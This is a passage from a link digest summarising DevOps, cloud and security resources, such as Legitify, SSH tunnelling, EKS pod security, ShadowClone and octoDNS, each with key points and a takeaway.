    • Query syntax: Filters such as hostname:my-server, user:root, exit_code:127, before:2022-02-01 and after:.... Power users can query the SQLite database directly at ~/.hishtory/.hishtory.db.
    • Self-hosting: The sync backend can be self-hosted. It is a Go binary (backend/server/server.go) using SQLite or Postgres. The default hosted backend cannot read the encrypted data.
    • Extras: Prefix a query with ? to ask ChatGPT for a command. Commands can be disabled, enabled and deleted.

    Takeaway: Useful if you work across many hosts and want searchable history with exit codes and context. Self-host the backend if you do not want history leaving your infrastructure, even encrypted.

  • awesome-cybersecurity-conferences: Cybersecurity Conference Links and Videos
    summary

    TL;DR: A community-maintained Markdown catalogue of cybersecurity conferences by Tal Eliyahu, with links to slides, videos, social accounts, locations, languages and schedules. It also feeds a searchable website.

    • Format: Tables per year with month, conference, slides, video, hashtag, location, language and schedule.
    • Coverage now: The repo is still maintained. It lists 2025 and 2026 events, such as Black Hat Europe 2025, BSides TLV and Lisbon 2025, and AlligatorCon Europe 2026.
    • Website: awesomecybersecurityconferences.com offers search and filters by year, country, language and series.
    • Extra views: Upcoming conferences, call-for-papers deadlines, country guides and browsing by year.

    Takeaway: A good single place to find recorded security talks or CFP deadlines. Check the website for the filtered view.

  • legitify: Detect and Remediate Misconfigurations and Security Risks Across Your GitHub Assets
    summary

    TL;DR: Legitify, from Legit Security, is an open source Go CLI that detects and helps fix security misconfigurations across GitHub (and now GitLab) organisations, repositories and members.

    • Install: brew install legitify, release binaries that bundle the built-in policies, from source, or as a GitHub CLI extension with gh extension install legit-labs/gh-legitify.
    • Run: SCM_TOKEN=<token> legitify analyze --org org1,org2 --namespace organization,member. It needs a classic PAT. Fine-grained tokens are not supported.
    • Scoping: --namespace (resource types), --org, --repo, and --scm github|gitlab. GitLab Server needs SERVER_URL.
    • GitLab limits: Some policies, such as branch protection, are skipped on non-premium GitLab accounts.
    • CI: A custom GitHub Action runs legitify in pipelines, with ignore-policies support.
    • Extra: A gpt-analysis subcommand sends repository configuration to OpenAI for review (needs OPENAI_TOKEN).

    Takeaway: Run legitify against your GitHub org to find quick wins in branch protection, member settings and repository settings. Then wire it into CI.

  • terraform-aws-clickops-notifier: Get Notified on Manual Actions in the AWS Console
    summary

    TL;DR: A Terraform module from cloudandthings that sends notifications when people make changes by hand in the AWS Console (“ClickOps”). It works by watching CloudTrail.

    • Where to deploy: Tested in the AWS Control Tower Log Archive account. Control Tower is not required.
    • Modes: Organizational mode uses centralised CloudTrail with S3 bucket notifications through SNS. standalone mode works in one account with CloudTrail sent to a CloudWatch Log Group and a subscription filter.
    • Noise control: Actions that are normal or console-only are excluded by default. Tune this with excluded_scoped_actions and excluded_scoped_actions_effect.
    • Delivery: A Lambda function posts to configured webhooks. The inputs include Microsoft Teams webhooks, and SNS topic and KMS options.
    • Extensibility: additional_iam_policy_statements lets you add to the Lambda role.

    Takeaway: A cheap way to enforce “everything through IaC” culture. Alert on console write actions, then decide case by case what to codify.

  • A Visual Guide to SSH Tunnels: Local and Remote Port Forwarding
    summary

    TL;DR: Ivan Velichko (iximiuz) explains SSH local and remote port forwarding visually, with cheat-sheet diagrams. The page has since become an interactive iximiuz Labs tutorial titled “A Practical Guide to SSH Tunnels”.

    • Page changed: The current version was last updated in July 2026. It runs labs on a playground with four hosts across home, public and VPC networks.
    • Use cases: Reach internal VPC endpoints through a public EC2 bastion, open a remote VM’s localhost port in your browser, and expose a local server from a private network.
    • Local forwarding: ssh -L [local_addr:]local_port:remote_addr:remote_port [user@]sshd_addr. The client listens locally and forwards through the SSH server.
    • Bind address: Whether the local listener binds only to localhost depends on the GatewayPorts setting.
    • Background tip: ssh -f -N -L ... runs the tunnel without a shell, in the background.
    • Remote forwarding: Covered with diagrams and the sshd settings it may need. A visual cheat sheet helps you remember which flag does what.

    Takeaway: Keep the cheat sheet handy. Local forwarding reaches into a network, and remote forwarding exposes something from your side.

  • Multi-Cluster Management for Kubernetes with Cluster API and Argo CD
    summary

    TL;DR: An AWS Containers Blog walkthrough that pairs Cluster API (with the AWS provider, CAPA) and Argo CD. Both self-managed EC2 clusters and EKS clusters are declared in Git and managed from one management cluster.

    • Cluster API: A declarative Kubernetes API for creating, configuring and upgrading clusters. CNCF declared v1.0 production-ready in October 2021.
    • CAPA for EKS: Provisions and upgrades EKS, plus machine pools, managed machine pools, EKS add-ons, Fargate profiles and aws-iam-authenticator config.
    • Bootstrap: A Kind cluster becomes the management cluster through clusterctl. The post notes Kind is for demos only and recommends EKS in production.
    • GitOps: Argo CD on the management cluster syncs workload cluster definitions from Git. New clusters are registered with Argo CD to receive a sample app.
    • Tooling: kubectl, kind, clusterctl, clusterawsadm, argocd, aws CLI, jq and docker. Sample repo: aws-samples/eks-ec2-clusterapi-gitops.

    Takeaway: A reference pattern for running a fleet of clusters as Git-managed resources. Run the management cluster with proper backups, not Kind.

  • Amazon Simple Email Service Announces Virtual Deliverability Manager to Help Enhance Email Delivery Success Rate
    summary

    TL;DR: An AWS announcement (November 2, 2022) of Amazon SES Virtual Deliverability Manager, a feature that monitors and improves email delivery success rates.

    • Purpose: Lower the chance that mailbox providers such as Gmail or Yahoo mark SES mail as spam.
    • Reports: At-a-glance views of bounce rate, opens and clicks in the SES console.
    • Recommendations: Optimisation advice and concrete steps to improve deliverability.
    • Automation: Some changes are applied automatically, such as choosing which sending IP address to use.
    • Availability: All Regions where SES is available.

    Takeaway: Worth enabling if you send transactional or bulk mail through SES. Better bounce and complaint visibility also helps spot account abuse.

  • kubetunnel: Develop Microservices Locally While Connected to Your Kubernetes Environment
    summary

    TL;DR: KubeTunnel, by Dcode.tech, lets you run one service locally in your IDE while the rest of your microservices stay in Kubernetes. Traffic flows both ways through a secure tunnel.

    • How it works: You pick a Kubernetes service and a local process. KubeTunnel starts a pod in your namespace, repoints the service to it, and the pod forwards traffic to your machine.
    • Reverse path: The CLI forwards every service in the namespace to localhost, so your local process can call them.
    • Benefits: No build, push and deploy loop. You keep local debuggers, and can work on apps too large to run locally.
    • Install: brew tap we-dcode/tap && brew install kubetunnel, or release binaries (including Windows).
    • Requirements: cluster-admin for the initial operator install. NetworkPolicies that allow operator traffic. Local admin rights, because it edits your hosts file.
    • Warning: For development environments only, since all services in the namespace connect to you.

    Takeaway: An alternative to Telepresence-style workflows for shared dev namespaces. Never point it at a shared or production namespace.

  • alt-tab-macos: Windows Alt-Tab on macOS
    summary

    TL;DR: AltTab, by lwouis, brings Windows-style Alt-Tab window switching to macOS, with a list of every window rather than every app, and window previews.

    • Core: Switch between individual windows, including several windows of the same app. Badges mark minimized, hidden and other-Space windows.
    • Previews: Shows the selected window at full size before switching. Shortcuts can be customised.
    • License: Free and open source under GPL-3.0, with no tracking or telemetry, according to the project site.
    • AltTab Pro: A newer paid tier for signed binaries adds search by title or app, more switcher styles and more shortcuts. Pro has a 14-day trial.
    • Requirements and scale: macOS 12+, Apple silicon and Intel. The site claims 9.4M downloads and 16K GitHub stars.
    • Source caveat: The GitHub README now shows only banners, so details come from the project site, alt-tab.app.

    Takeaway: One of the best fixes for macOS app-level Cmd-Tab if you think in windows. The free core still covers the basics.

  • How We Use Terraform at Slack
    summary

    TL;DR: Archie Gunasekara of Slack’s Cloud Foundations team (October 2022) describes how Slack runs Terraform across AWS, DigitalOcean, NS1 and GCP. Topics include state layout, pipelines, versioning and developer sandboxes.

    • Why Terraform: One tool and syntax across providers, rather than CloudFormation for AWS alone.
    • State evolution: Slack started with one state per region in one account. Tens of thousands of EC2 instances and rate limits led to child accounts. Now about 1,400 state files are owned by service teams.
    • Layout: One state per region per child account, plus one global state (IAM, CloudFront). Large services get isolated states so the blast radius stays small.
    • Backend: An S3 backend with object versioning for rollback, and DynamoDB locking.
    • Pipelines: Jenkins workers with IAM roles. Plan and apply stages are chained sandbox, then dev, then prod.
    • Ops boxes: Self-service instances with the same tooling but read-only AWS access, so engineers can plan but not apply. Idle boxes are terminated automatically.
    • Upgrades: The 0.11 to 0.12 upgrade took a quarter. For 0.13 and AWS provider 3.74.1 to 4.x, Slack built a per-state version config so multiple binaries and plugins can coexist.

    Takeaway: Small, team-owned states, versioned remote state and per-state Terraform version pinning are the parts worth copying. Plan major upgrades as long projects.

  • get-secretmanager-secrets: GitHub Action for Accessing Secrets from Google Secret Manager as Outputs
    summary

    TL;DR: A GitHub Action from the google-github-actions org. It reads secrets from Google Cloud Secret Manager and exposes them as step outputs, so Secret Manager stays the source of truth for CI secrets.

    • Usage: Authenticate with google-github-actions/auth@v3 (Workload Identity Federation in the example), then run get-secretmanager-secrets@v3 with secrets: token:my-project/docker-registry-token.
    • Consumption: Later steps read values as ${{ steps.secrets.outputs.token }}.
    • Masking: Fetched values are added to the build log mask, to reduce accidental printing.
    • Permissions: The job needs id-token: write for OIDC auth, plus credentials allowed to access the requested secrets.
    • Runtime: Runs on Node 20. Self-hosted runners must support it.
    • Support: The README says it is not an officially supported Google product and is not covered by Google Cloud support.

    Takeaway: Pair it with keyless Workload Identity Federation, so no static GCP key sits in GitHub secrets. Only the secrets the workflow needs flow into the job.

  • kubediff: Show Differences Between Running State and Version-Controlled Kubernetes Configuration
    summary

    TL;DR: Kubediff, from Weaveworks, compares the Kubernetes YAML in version control with what is running in the cluster and prints the differences. The repository is deprecated and archived.

    • Status: The README title reads “DEPRECATED: Kubediff”, and GitHub marks the repo as archived.
    • CLI: ./kubediff [--kubeconfig] [--context] [--namespace] [--json] [--no-error-on-diff] paths.... It exits with code 2 when a diff exists.
    • Output: Per-object field diffs, for example .spec.template.spec.containers[0].args[0]: 'a' != 'b'.
    • Mechanics: Shells out to kubectl, so it depends on the kubeconfig context. Python dependencies install with pip install -r requirements.txt.
    • Service mode: It could also run in-cluster, periodically pulling the latest config from Git and reporting drift.

    Takeaway: This is historical. Today kubectl diff or GitOps controllers such as Argo CD and Flux provide drift detection.

  • Implementing Pod Security Standards in Amazon EKS
    summary

    TL;DR: An AWS Containers Blog guide to replacing the removed PodSecurityPolicy with Pod Security Admission (PSA) and the Pod Security Standards (PSS) on Amazon EKS. It covers namespace labels and a migration approach.

    • Why: PSP was deprecated in 1.21 and removed in 1.25. It confused users, lacked dry-run and audit modes, and could not be on by default.
    • Availability: PSA and PSS went beta in Kubernetes 1.23 and are enabled by default in EKS 1.23.
    • Levels: privileged, baseline and restricted. Modes are enforce (reject), audit (annotate the audit log) and warn (warn the user).
    • EKS defaults: All modes are set to privileged at latest, with no exemptions. Namespaces must opt in to stricter levels.
    • Labels: pod-security.kubernetes.io/<MODE>: <LEVEL>, with an optional pod-security.kubernetes.io/<MODE>-version: v1.24 to pin a version.
    • Migration: PSA or policy-as-code tools can run alongside PSP. A kubectl get pod -A -o jsonpath=... snippet finds pods annotated with kubernetes.io/psp.

    Takeaway: Start with warn and audit set to restricted on each namespace, fix the violations, then turn on enforce. Use policy-as-code where PSS is too coarse.

  • Crossplane on Kubernetes Explained
    summary

    (Could not fetch full text.)

    TL;DR: A “Containers from the Couch” video (October 25, 2022) in which Sai Vennam explains Crossplane, and how platform teams use it to manage cloud infrastructure and managed services on AWS from Kubernetes.

    • Topic: What Crossplane is, and how it uses the Kubernetes control loop to reconcile cloud resources.
    • Example: The description says Sai Vennam shows how to deploy and manage a production-ready Amazon EKS setup with Crossplane.
    • Chapter: One visible chapter is “The Kubernetes Control Loop”.
    • Reach: About 44K views on a channel with about 38K subscribers.
    • Promo: The description links a free hands-on Amazon EKS Workshop.
    • Source caveat: YouTube served only the title, description and chapter list, with no transcript. This summary is based on those.

    Takeaway: A short conceptual introduction for teams weighing Crossplane against Terraform for Kubernetes-native infrastructure management.

  • Grafana Faro: Highly Configurable Web SDK for Real User Monitoring (RUM)
    summary

    TL;DR: Grafana Faro is Grafana Labs’ open source frontend observability project. Its configurable JavaScript Web SDK does real user monitoring (RUM) in browsers.

    • Signals: Collects performance metrics, logs, exceptions, events and traces from web apps.
    • Correlation: Frontend data can be correlated with backend and infrastructure data in the LGTM stack (Loki, Grafana, Tempo, Mimir).
    • Origin: Started at Grafana Labs and announced in 2022. Grafana leads development and builds Faro support into Grafana.
    • Goals: Monitor web performance, find frontend errors and track user behaviour, to speed up failure resolution.
    • Page now: The current page also carries GrafanaCON 2026 and ObservabilityCON promotions around the same project overview.

    Takeaway: An open source RUM option if you already run the Grafana stack. It joins browser traces to backend traces.

  • A Dive into Web Application Authentication
    summary

    TL;DR: A Better Appsec primer by James Chiappetta, with contributions from Jeremy Shulman (October 2022), on how web application authentication works and how it has evolved, for both consumers and businesses.

    • AuthN vs AuthZ: Authentication verifies an identity’s credentials. Authorization then decides which resources that identity can access.
    • Passwords: Humans reuse passwords and store them badly, which is why a second factor became standard.
    • Topics covered: Why MFA matters, how “Sign in with” works on OAuth 2.0 and whether to use it, SSO, passwordless authentication, API authentication, and deep links as a bonus.
    • Framing: Looks at how authentication matured over the past ten years and where it may go next.
    • Disclaimer: The authors state that the opinions are their own and the products mentioned are not endorsements.
    • Source caveat: The page blocked direct fetching. This summary is based on a reader-proxy copy of the opening sections.

    Takeaway: Good onboarding material for engineers new to authentication concepts. It does not cover implementation depth.

  • AWS Security Assessment: What Scanners Are Missing and How Threat Modeling May Help You?
    summary

    TL;DR: An October 2022 Towards AWS post arguing that automated AWS scanners such as Prowler and ScoutSuite cannot replace a human assessor. It says threat modeling the environment first finds the issues that matter.

    • No context: Scanners accept SSE-S3 encrypted, non-public PII buckets. They miss that AmazonS3FullAccess with "Resource": "*" lets many principals read the data.
    • Noise: Un-tuned scanners report hundreds of findings, such as password policy alerts in accounts with no IAM users. Real issues get stuck in the backlog.
    • Coverage gaps: Hardcoded credentials in EC2 user data or ECS task definition environment variables usually go undetected.
    • Threat modeling: Before assessing, identify critical assets, data flows and attack vectors with the team, using its real architecture diagrams.
    • Checklist: Points to Marco Lancini’s spreadsheet “What to look for when reviewing a company’s infrastructure”.
    • Source caveat: The page blocked direct fetching. This summary is based on a reader-proxy copy.

    Takeaway: Run the scanners, but scope the assessment with a threat model, so findings are prioritised by the data and paths that matter.

  • ShadowClone: Distribute Long-Running Tasks Across Thousands of Serverless Functions
    summary

    TL;DR: ShadowClone, by fyoorer, splits long-running CLI tasks (typically recon tools) across up to 1,000 parallel serverless function invocations, and collects the results in seconds instead of hours.

    • Usage: python shadowclone.py -i INPUT -s SPLITNUM -c COMMAND [-o OUTPUT]. --no-split passes a file through unsplit.
    • Mechanics: Setup builds a container image registered as a function runtime. At run time the input is chunked, for example 10,000 lines at 100 per chunk gives 100 parallel instances.
    • Clouds: Cloud agnostic across AWS, GCP and Azure, and designed to fit within free tiers.
    • Comparison: Inspired by Axiom and Fleex, but uses serverless functions and containers instead of a fleet of VPSes.
    • Output: Results can be piped to other tools.
    • Setup: Installation and configuration are documented in the repo wiki.

    Takeaway: Handy for bursty, embarrassingly parallel scanning jobs. Check the cloud provider’s acceptable-use rules before pointing it at targets.

  • paralus: All-in-One Kubernetes Access Manager
    summary

    TL;DR: Paralus is a free, open source CNCF Sandbox project for controlled, audited access to Kubernetes clusters. It offers user-level credentials, RBAC, SSO and audit logs through a GUI, API and CLI.

    • Identity: Integrates with existing RBAC and with SSO or OIDC identity providers.
    • Just-in-time access: Creates service accounts on demand and manages fine-grained user credentials.
    • Controls: Custom roles, users and groups, plus preconfigured roles across clusters, namespaces and projects.
    • Revocation: Permissions can be changed and revoked dynamically and immediately.
    • Auditing: Real-time audit logs to help spot and respond to threats.
    • Project: Written in Go, Apache 2.0, with a Helm chart and an OpenSSF Best Practices badge.
    • Note: The archive lists this repo twice, under two title variants with the same URL.

    Takeaway: Consider Paralus for centrally brokered, revocable kubectl access across many clusters without distributing static kubeconfigs.

  • paralus: All-in-One Kubernetes Access Manager with User-Level Credentials, RBAC, SSO, and Audit Logs
    summary

    TL;DR: Paralus is a free, open source CNCF Sandbox project for controlled, audited access to Kubernetes clusters. It offers user-level credentials, RBAC, SSO and audit logs through a GUI, API and CLI.

    • Identity: Integrates with existing RBAC and with SSO or OIDC identity providers.
    • Just-in-time access: Creates service accounts on demand and manages fine-grained user credentials.
    • Controls: Custom roles, users and groups, plus preconfigured roles across clusters, namespaces and projects.
    • Revocation: Permissions can be changed and revoked dynamically and immediately.
    • Auditing: Real-time audit logs to help spot and respond to threats.
    • Project: Written in Go, Apache 2.0, with a Helm chart and an OpenSSF Best Practices badge.
    • Note: The archive lists this repo twice, under two title variants with the same URL.

    Takeaway: Consider Paralus for centrally brokered, revocable kubectl access across many clusters without distributing static kubeconfigs.

  • Monorepo.tools: Everything You Need to Know About Monorepos and the Tools to Build Them
    summary

    TL;DR: Monorepo.tools is an explainer site made by the Nx team. It covers what monorepos are, why to use them, and which features to look for in monorepo tooling.

    • Definition: “A single repository containing multiple distinct projects, with well-defined relationships”. Code colocation alone, or one big undivided app, does not count.
    • Not a monolith: The site argues a good monorepo is the opposite of monolithic.
    • Polyrepo tax: Shared code needs separate repos, CI and publishing. Shared code gets duplicated, cross-repo changes need sequenced PRs, and conventions drift.
    • Monorepo benefits: Sharing without publishing, a single source of truth, atomic commits across projects, and conventions enforced in one place.
    • Page changed: The current version adds sections on AI agents (“Monorepos Amplify AI Agents”) and “Synthetic Monorepos”.
    • Tooling: A comparison of what a best-in-class tool provides. The page is written from the Nx perspective.

    Takeaway: A useful framing doc for a monorepo decision. Remember that a tool vendor wrote it, and compare tools on the capabilities it lists.

  • Hacking Your Offensive Security Career
    summary

    TL;DR: Lawrence Munro (November 2022) gives career advice for offensive security people who feel overlooked. The theme is to “engineer” your career ethically, after putting hard work and skill-building first.

    • Premise: Capability comes before career engineering. Spend more time on skills than on your Twitter presence.
    • Own your learning: Avoid the “teacher-student mind-set”. Certs, degrees and experience are all valid, and neither certifications nor tenure prove proficiency.
    • Mentors: Find a coach, sponsor or cheerleader through rapport, not by asking the company star on week one. The best technical performer is often not the best mentor.
    • Community: Reach out to creators who share your interests. The author says most are happy to help.
    • Training budget: Build a business case around company benefit. Treat blockers like a hacking challenge.
    • What fails: “I haven’t had training in X months” sounds like a moan. Comparing yourself to colleagues sounds immature.

    Takeaway: Practical soft-skills advice for pentesters. Frame requests around business outcomes, and build relationships before asking for sponsorship.

  • A Case for Go Code Generation: testify
    summary

    TL;DR: A November 2022 post that walks through how Go’s stretchr/testify uses code generation and templates to produce its many assertion variants from one canonical implementation.

    • Combinatorics: Each assertion exists in assert and require, as suite methods, and as *f formatted variants. That makes eight versions of each function.
    • Canonical impl: assert.Equal holds the logic (built on ObjectsAreEqual) and returns a bool.
    • require wrapper: require.X calls assert.X and runs t.FailNow() on false.
    • Templates: Go text/template bodies such as func {{.DocInfo.Name}}(t TestingT, {{.Params}}) { ... } generate the boilerplate for every assertion.
    • Helper calls: Generated functions call h.Helper() when available, so failure lines point at the caller.
    • Source caveat: The page blocked direct fetching. This summary is based on a reader-proxy copy.

    Takeaway: A good real-world pattern for generating repetitive Go API surfaces from one implementation, instead of copying code by hand.

  • notify: Dead Simple Go Library for Sending Notifications to Various Messaging Services
    summary

    TL;DR: Notify, by nikoksr, is a “dead simple” Go library that sends one notification to many messaging services through a single interface.

    • Install: go get -u github.com/nikoksr/notify.
    • Model: Create a service such as Telegram, add receivers, register it with notify, then call send once to fan out.
    • Services: The README table lists about 30 services, including Amazon SES, Amazon SNS, Bark, DingTalk, Discord, email and Firebase Cloud Messaging.
    • Dependencies: Each service wraps an upstream client library, such as aws-sdk-go-v2 or discordgo.
    • Caveat: The authors say not to rely on it in critical scenarios, because it depends on external services and their client libraries.
    • Warning: Spamming through it may get accounts permanently banned on most platforms.

    Takeaway: Handy for adding multi-channel alerts to small Go tools and bots. Use a proper alerting pipeline for anything critical.

  • Substrate: Command-Line Tools for Managing Secure, Compliant Infrastructure in Many AWS Accounts
    summary

    TL;DR: Substrate, from Source & Binary, is a commercial tool for running AWS as many isolated accounts. It provides account creation, role management, short-lived credentials and Terraform bootstrapping behind one CLI and dashboard.

    • Isolation model: Separates development from production, services from each other, analytics from the critical path, and customers from each other, each in narrowly scoped accounts.
    • Credentials: Authenticates through your existing identity provider. It issues time-limited, least-privilege credentials (twelve-hour access in daily use) and stores none on disk.
    • Developer experience: Human-readable account names, simpler CLI parameters, environment switching and a dashboard.
    • Terraform: It “speaks native AWS and Terraform” for provisioning.
    • Networking: Shared VPCs for cross-account communication “without CIDR math”.
    • Compliance: Marketed as easing SOC 2 change management and segmentation evidence.

    Takeaway: Worth a look if you want a multi-account AWS layout with an opinionated access layer and do not want to build it yourself. It is a vendor product, so compare it with Control Tower and with in-house setups.

  • An AWS Account Just for Getting into Other AWS Accounts
    summary

    TL;DR: A Source & Binary (Substrate) post arguing that a multi-account AWS organization needs a dedicated “administrative access” account. People sign in there, and that account is the only path into every other account.

    • Supporting accounts: The management account for Organizations, an audit log account and a network or shared VPC account. The admin access account joins these and is called “the most important account” in the organization.
    • Contents: Only the minimum resources for authentication, authorization and cross-account actions. No customer-facing services and no customer data.
    • Getting in: IAM users (password plus MFA), IAM Identity Center (time-bound keys, no long-lived keys) or an external IdP over OIDC or SAML. The author prefers an external IdP, and noted Identity Center lacked Google and OIDC support at the time.
    • Moving across: sts:AssumeRole, higher-level tools, and service-specific cross-account access.
    • Rejected alternatives: Overloading the management account, or using IAM users in every account, which adds offboarding burden and keys that never expire.
    • Moved page: The original URL now redirects to src-bin.com/substrate/blog/an-aws-account-just-for-getting-into-other-aws-accounts/.

    Takeaway: Keep human entry in one hardened account backed by your IdP, and reach everything else by role assumption. Never sign in through the management account.

  • Get Certified for GitOps with Argo
    summary

    TL;DR: The Codefresh GitOps certification portal for Argo, now branded under Octopus Deploy. It offers GitOps certification courses that teach GitOps theory and hands-on practice with the Argo project family.

    • Rebrand: The page now reads “GitOps Certification | Octopus Deploy”, reflecting the Codefresh link moving under Octopus.
    • Content: Courses teach GitOps principles and how to apply them to your own application using Argo CD and Argo Rollouts.
    • Labs: Learner quotes praise rolling deployment and migration scenarios and well-structured labs.
    • Bundle: All three GitOps certifications together cost 23% less. An Octopus Deploy fundamentals certification is also listed.
    • Instructors: Kostis Kapelonis (Argo team member, focused on Argo CD and Rollouts), Steve Fenton and Matt Allford of Octopus Deploy.

    Takeaway: A structured, lab-based route to learning Argo CD and Rollouts. Check the current course list and any fees, since the portal changed ownership.

  • AWS Network Firewall Workshop
    summary

    (Could not fetch full text.)

    TL;DR: An AWS Workshop Studio hands-on workshop for AWS Network Firewall, the managed stateful network firewall and IPS for VPCs.

    • Platform: Hosted on AWS Workshop Studio (catalog.us-east-1.prod.workshops.aws). The page renders only with JavaScript.
    • Subject: AWS Network Firewall, whose stateful rule groups use Suricata-compatible IPS rules, according to AWS documentation.
    • Rule options (AWS docs): Write Suricata rule strings, use the simpler AWS rule specification, or use domain lists, which AWS converts to Suricata.
    • Flow caveat (AWS docs): Rules that use flow: established need stateless rules that forward both directions to the stateful engine.
    • Source caveat: The workshop content could not be retrieved, and search did not index this workshop ID. Only the title and AWS Network Firewall documentation were available, so the workshop’s modules are unknown.

    Takeaway: Open it in a browser and run it in a sandbox account to learn Network Firewall deployment and rule writing. Tear down afterwards, because firewall endpoints bill hourly.

  • aws-sso-reporter: AWS SSO Reporter
    summary

    TL;DR: AWS SSO Reporter, by onemorepereira, is a pair of Python scripts that export AWS SSO (IAM Identity Center) assignments and permission sets to CSV, to answer “who has access to what”.

    • Problem: The console cannot easily answer questions such as which accounts John Doe can reach, or who can access App-Prod-Account.
    • Scripts: sso-account-permission-assignment-report.py handles account assignments. sso-permission-set-report.py handles permission set details.
    • Views: Users and groups per account with their permission set, accounts per user or group, and accounts and principals per permission set.
    • Policy detail: Managed and inline policies attached to each permission set.
    • Run: Use credentials in the SSO management account that can read Organizations and SSO. Set the region, for example aws configure set default.region eu-west-1, then run the scripts.
    • Scale: A small repo with 12 commits.

    Takeaway: A quick way to produce access review evidence for IAM Identity Center. Load the CSVs into a spreadsheet for periodic recertification.

  • alternat: High Availability Implementation of AWS NAT Instances
    summary

    TL;DR: alterNAT, from Chime Engineering, is a Terraform module for highly available NAT instances on AWS. It avoids the NAT Gateway $0.045/GB processing fee and keeps a standby NAT Gateway for failover.

    • Moved repo: The URL now resolves to chime/terraform-aws-alternat.
    • Cost case: The README says 10TB a month (5TB in, 5TB out) costs about $954 through NAT Gateway versus about $526 on a c6gn.large NAT instance, roughly 45% less. It puts 1PB through NAT Gateway at $75,604.
    • Architecture: One single-instance Auto Scaling Group per AZ, each with a standby NAT Gateway.
    • Patching: The maximum instance lifetime (14 days by default) replaces instances regularly. A Terminating:Wait lifecycle hook fires through SNS.
    • Failover: The replace-route Lambda points the private route table to the standby NAT Gateway. The new instance then reclaims its Elastic IP and the route.
    • Health check: A CloudWatch Events rule also invokes the Lambda once a minute for every private subnet, as a health check.

    Takeaway: Consider it if NAT Gateway data processing is a large part of your bill. You take on operating EC2 NAT instances in exchange.

  • Introducing AWS Resource Explorer: Quickly Find Resources in Your AWS Account
    summary

    TL;DR: An AWS News Blog launch post for AWS Resource Explorer. It searches resources across Regions in an account by name, tag and ID, from the console, CLI or SDKs.

    • Indexes: Local indexes per Region, plus an aggregator index in one Region for cross-Region search.
    • Views: Control what is searchable, such as ARNs without tags, and which resources a view includes.
    • Setup: Quick setup indexes all Regions and creates a default view. Advanced setup lets you choose Regions and skip replication for governance reasons.
    • Query syntax: tag.value:MyApp, tag:Project=MyApp, region:eu-west-1 and service:ecs.
    • Navigation: Results link straight to the right service console and Region.
    • Price: No additional charge.

    Takeaway: Enable it in every account. It is free, and it speeds up “where is that resource” questions and incident triage across Regions.

  • kcp: Kubernetes-Like Control Plane for Workloads on Many Clusters
    summary

    TL;DR: kcp is a Kubernetes-like control plane for many isolated logical clusters, called workspaces. It lets API providers offer APIs centrally through multi-tenant operators. The multi-cluster workload scheduling in the original description has since been removed.

    • Focus now: A control plane for many isolated workspaces, central API offering with multi-tenant operators, and easy API consumption.
    • Use case: A building block for SaaS providers and enterprise IT that need massively multi-tenant, Kubernetes-native APIs.
    • Restructure: In May 2023, the syncer and transparent multi-cluster (TMC) code were removed for lack of interest and maintainers. They remain on the main-pre-tmc-removal branch.
    • Try it: go run ./cmd/kcp start, then export KUBECONFIG=.kcp/admin.kubeconfig && kubectl get workspaces.
    • Project: Apache 2.0, with an OpenSSF Best Practices badge. Docs are at docs.kcp.io.

    Takeaway: Read kcp today as a multi-tenant API control plane, not as the “workloads on many clusters” scheduler in the archive’s title.

  • Running Resilient Workloads in EKS Using Spot Instances
    summary

    (Could not fetch full text.)

    TL;DR: A member-only ITNEXT post (November 2022) on running production workloads on EKS with EC2 Spot Instances. It argues Spot works for production if applications are configured to handle interruptions.

    • Spot basics: Uses spare EC2 capacity, up to 90% cheaper than On-Demand, but AWS can interrupt it.
    • Interruption causes: The Spot price exceeds your maximum, EC2 needs the capacity back (including for host maintenance), or group constraints such as launch groups can no longer be met.
    • Tools mentioned: The Spot Instance Advisor shows historical interruption rates per instance type. CloudTrail shows whether EC2 interrupted an instance.
    • Visible extras: A rolling-update tip, and a conclusion that well-configured apps can run production on Spot.
    • Source caveat: The article is paywalled. Only the opening overview and search-result excerpts were available, so the later sections, such as interruption handling, are not covered here.

    Takeaway: Read it as a Spot primer. For the resilience details, see AWS guidance on Node Termination Handler or Karpenter interruption handling, plus PodDisruptionBudgets.

  • Blazing Fast CI with MicroVMs
    summary

    TL;DR: Alex Ellis introduces actuated, then in pilot. It runs GitHub Actions jobs in ephemeral Firecracker microVMs, fixing the limits of hosted runners and the security and drift problems of self-hosted ones.

    • Hosted runner limits: 2 cores and 7GB RAM, too little for KinD or E2E tests. Disk runs out, there are no ARM runners, 20 concurrent runners on the free plan, and private repos are billed per minute.
    • ARM example: Parca’s ARM64 build fell from 33m5s under QEMU to 1m26s on an actuated ARM64 microVM, about 22x faster.
    • Self-hosted problems: Packages are hard to keep in line with hosted images. Mutable hosts cause caching bugs, there is one job per machine, and Docker as root can take over the host.
    • Public repos: GitHub advises against self-hosted runners on public repos, because forks can run code. The GitHub team told him ephemeral VMs with immutable images solve this.
    • ARC criticism: Actions Runner Controller is non-trivial and needs a GitHub App or PAT. It uses reusable Pods, not one-shot ones.
    • Firecracker: The post says microVMs complement containers rather than replace them, where hard isolation is needed.

    Takeaway: For heavy or ARM CI, use one-shot isolated VMs per job. Whether you buy actuated or build it yourself, that is the safe pattern for self-hosted runners.

  • gke-policy-automation: Review GKE Clusters Against Best Practices
    summary

    TL;DR: GKE Policy Automation, from Google (not an officially supported product), is a tool plus policy library that checks GKE clusters against configuration best practices and scalability limits.

    • Install: Container image ghcr.io/google/gke-policy-automation, the Krew plugin kubectl krew install gke-policy, release binaries, or a build from Go source.
    • Run: kubectl gke-policy check --discovery -p my-project, or ./gke-policy check -c config.yaml.
    • Discovery: Finds clusters across projects, folders or a whole organization through Cloud Asset Inventory.
    • Checks: A best-practices policy library (gke-policies-v2) plus a separate scalability limits check.
    • Outputs: JSON file, Pub/Sub topic, Cloud Storage bucket or Security Command Center.
    • Ops: Supports serverless execution for scheduled runs.

    Takeaway: Run it organization-wide with Security Command Center output for a continuous GKE posture baseline at no licence cost.

  • octodns: Tools for Managing DNS Across Multiple Providers
    summary

    TL;DR: octoDNS, originally built at GitHub by Ross McFarland and Joe Williams, is an MIT-licensed “DNS as code” toolset. You manage records across multiple DNS providers from config kept in a repository.

    • Model: DNS config lives in Git and is deployed like other code, with review and a clear history.
    • Multi-provider: Built to manage records across several DNS providers from one source.
    • Pluggable: Adding a provider usually means one class and a couple hundred lines, mostly translating between the provider’s schema and octoDNS’s.
    • Docs: Usage and extension guides are at octodns.readthedocs.io.
    • Org: It now lives in its own octodns GitHub organisation. GitHub keeps its logo trademarks.

    Takeaway: Use it to put DNS under code review and to run several providers for resilience, without vendor-specific tooling.

  • devenv: Fast, Declarative, Reproducible, and Composable Developer Environments
    summary

